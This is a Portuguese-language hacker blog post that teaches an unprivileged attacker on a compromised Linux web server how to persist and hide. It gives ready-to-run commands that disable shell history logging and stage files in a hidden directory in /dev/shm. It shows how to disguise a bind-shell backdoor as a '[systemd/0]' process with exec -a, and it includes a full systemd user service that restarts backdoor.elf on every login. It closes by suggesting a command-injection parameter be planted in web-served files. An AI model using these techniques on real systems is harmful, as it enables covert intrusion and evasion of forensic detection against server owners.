__..--.._
  .....              .--~  .....  `.
.":    "`-..  .    .' ..-'"    :". `
` `._ ` _.'`"(     `-"'`._ ' _.' '
     ~~~      `.          ~~~
              .'
             /
            (
             ^---'
                            S0me 3v1l...


[0x1] Se previnindo de logs [0x2] bind-shell & camuflar o processo [0x3] Criando uma backdoor em systemd [0x4] Notas E Finalização

───────────────── introdução [ 0x0 ]

Olá Pessoas, Hoje vou explicar algumas tecnicas que eu utilizo no dia a dia em ações para me deixar persistente mesmo sendo um usuario não privilegiado. Assim vamos pensar, como se ficar persistente: bom sendo um usuario sem muitos privilegios temos apenas uma home, e outras coisas.. enfim para ter uma persistencia digna recomendo que enquanto você esteja escalando privilegios, ou fazendo Coisas que envolvem deixar arquivos ou baixar arquivos, recomendo sempre deixar sua “sujeira” em /dev/shm/, mas o que seria isso afinal de contas? [shm = shared memory] esse diretorio é usado para compartilhamento de memoria entre processos IPC Todos os arquivos la serão excluidos assim que o computador desligar, fazendo com que seja dificil e muito complicado achar e ao mesmo recuperar os arquivos que estavam em /dev/shm é bom alem disso você criar um diretorio escondido como “…” para deixar mais organizado É importante lembrar, sempre limpe seus rastros em uma maquina, eu gosto sempre de dar unset para remover variaveis de ambiente que vão gerar logs conforme o uso.

───────────────── Previnindo De Logs [ 0x1 ]

┌─────────────── TERMINAL ───────────────────────────────────────────── |www-data@server:~$ unset HISTFILE HISTSAVE HISTMOVE HISTZONE HISTORY HISTLOG //comandos |www-data@server:~$ unset USERHOST REMOTEHOST //info de rede e user |www-data@server:~$ unset WATCH //monitoramento de usuarios |www-data@server:~$ export HISTFILE=/dev/null //define o historico do bash para /dev/null |www-data@server:~$ history -c //limpa o historico atual └──────────────────────────────────────────────────

Ok, Esses unsets de historicos de comandos e outras informações pode nos deixar mais escondidos agora como poderiamos manter uma persistencia sendo um usuario sem privilegios? vou abordar 1 maneira de fazer isso logo abaixo:

───────────────── bind-shell & camuflar o processo [ 0x2 ]

podemos usar varias bind-shell, da para fazer em varias linguagens e abordagens, vou usar uma que eu peguei do github como exemplo para isso vamos se pensar, não seria muito sutil aparecer na tasklist algo como “./backdoor.elf” então vamos esconde-lo, mesmo com nossas limitações de usuario non-root, podemos utilizar comandos como exec -a sabendo disso vamos tentar mascarar o processo usando o poder do propio linux! vou mostrar na pratica como fazer isso.

┌─────────────── TERMINAL ───────────────────────────────────────────── |www-data@server:~$ exec -a “[systemd/0]” ./backdoor & //mudando o nome do processo |www-data@server:~$ [1] 546739 //Pid do processo |www-data@server:~$ ps fHw //Conferindo a alteração de nome | PID TTY STAT TIME COMMAND |5422 pts/1 Ss+ 0:00 /usr/bin/zsh |546739 pts/0 SN 0:00 [systemd/0] //Vuala! |554847 pts/0 R+ 0:00 ps fHw └────────────────────────────────────────────────── no binario exec a opção -a esta sendo para substituir o nome do processo para outro, percebe que eu coloco o nome como “[systemd/0]” pois em processos padroes de unix-like é provavel existir processos que abordem essa mesma forma de nome como [alguma_coisa] coloquei systemd/0 pois systemd é algo que existe ja no sistema e podera ser confundido com mais facilidade :D

───────────────── Criando uma backdoor em systemd [ 0x3 ]

bom caso você ache que a maquina pode cair e você tem medo de isso acontecer e sua backdoor sair do ar.. você pode criar um systemd-service para que ele fique ativo mesmo apôs um reset da maquina. para que isso seja possivel precisamos ir em nossa home do nosso usuario e criar um diretorio em ~/.config chamado systemd para colocar nosso script de systemd la dentro. bom vamos la o nosso script vai ser o mais simples possivel para criar um serviço que executa um executavel em /var/www/.config/…/ chamado backdoor.elf e ele vai ja ocultar o nome do processo com Exec, enfim vamos configurar o .service em ~/.config/systemd/user/backdoor.service

┌─────────────── ~/.config/systemd/user/backdoor.service ─────────────────────────── |[Unit] |Description=backdoor fofinha |After=network.target | |[Service] |ExecStart=/bin/bash -c ‘exec -a “[systemd/0]” /var/www/.config/…/backdoor.elf &’ |Restart=always |RestartSec=3 | |[Install] |WantedBy=multi-user.target └──────────────────────────────────────────────────

logo apos isso vamos ativar esse systemd usando os seguintes comandos abaixo:

┌─────────────── TERMINAL ───────────────────────────────────────────── |www-data@server:~$ systemctl –user daemon-reload //Atualizando os serviços do usuario |www-data@server:~$ systemctl –user start backdoor //iniciando o serviço |www-data@server:~$ systemctl –user enable backdoor //colocando para iniciar no login └──────────────────────────────────────────────────

O comando enable do systemctl, faz com que quando o usuario se logar no computador o serviço vai ser ativado, fazendo ela ter um nivel de persistencia bom para um usuario sem privilegios.

───────────────── Notas E Finalização [ 0x4 ]

Bom esse é o post. espero que vocês gostem dessas tecnicas que eu abordei. Lembre-se que sempre é bom escalar privilegios, niguem gosta de ficar sem root :[ E se possivel utilizes backdoores que ja tenham uma persistencia programada e sempre utilize o servidor ao seu favor, caso você esteja em um server que esta hospedando conteudo na web, implante um parametro de command em algum arquivo ou algo assim para conseguir uma persistencia a +

         )
        (        /(
         \yYYy,_I_`; - otimo, mas uma conexão.
         JgLFO^JL_
         \ `-  \, `
          `
Bezumiya button
Em breve... Bezumiya blinkie